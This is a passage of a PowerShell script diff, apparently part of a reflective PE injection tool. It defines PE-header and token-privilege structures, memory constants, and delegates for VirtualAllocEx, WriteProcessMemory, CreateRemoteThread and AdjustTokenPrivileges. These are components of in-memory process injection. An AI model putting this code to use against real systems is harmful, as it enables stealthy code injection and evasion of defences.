'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 + + #Struct IMAGE_NT_HEADERS64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null + $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 + + #Struct IMAGE_NT_HEADERS32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null + $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 + + #Struct IMAGE_DOS_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) + $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null + + $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) + $e_resField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null + + $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) + $e_res2Field.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null + $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER + + #Struct IMAGE_SECTION_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) + + $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) + $nameField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER + + #Struct IMAGE_BASE_RELOCATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null + $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION + + #Struct IMAGE_IMPORT_DESCRIPTOR + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null + $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR + + #Struct IMAGE_EXPORT_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null + $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES + + return $Win32Types + } + + Function Get-Win32Constants + { + $Win32Constants = New-Object System.Object + + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 + $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 + $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 + + return $Win32Constants + } + + Function Get-Win32Functions + { + $Win32Functions = New-Object System.Object + + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc + + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx + + $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy + $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) + $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset + + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary + + $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) + $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress + + $GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) + $GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal + + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree + + $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx + $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx + + $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect + $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect + + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle + + $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary + $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) + $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary + + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess + + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject + + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory + + $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory + $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory + + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread + + $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread + $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) + $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread + + $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken + $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) + $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) + $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) + $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) + $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) + $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf + + $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx + $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) + $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + + $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process + + $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread + + return $Win32Functions + } + ##################################### + + + ##################################### + ########### HELPERS ############ + ##################################### + + #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function + #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses + Function Sub-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + $Val = $Value1Bytes[$i] - $CarryOver + #Sub bytes + if ($Val -lt $Value2Bytes[$i]) + { + $Val += 256 + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + + + [UInt16]$Sum = $Val - $Value2Bytes[$i] + + $FinalBytes[$i] = $Sum -band 0x00FF + } + } + else + { + Throw "Cannot subtract bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Compare-Val1GreaterThanVal2AsUInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) + { + if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) + { + return $true + } + elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) + { + return $false + } + } + } + else + { + Throw "Cannot compare byte arrays of different size" + } + + return $false + } + + + Function Convert-UIntToInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt64] + $Value + ) + + [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) + return ([BitConverter]::ToInt64($ValueBytes, 0)) + } + + + Function Test-MemoryRangeValid + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $DebugString, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(ParameterSetName = "EndAddress", 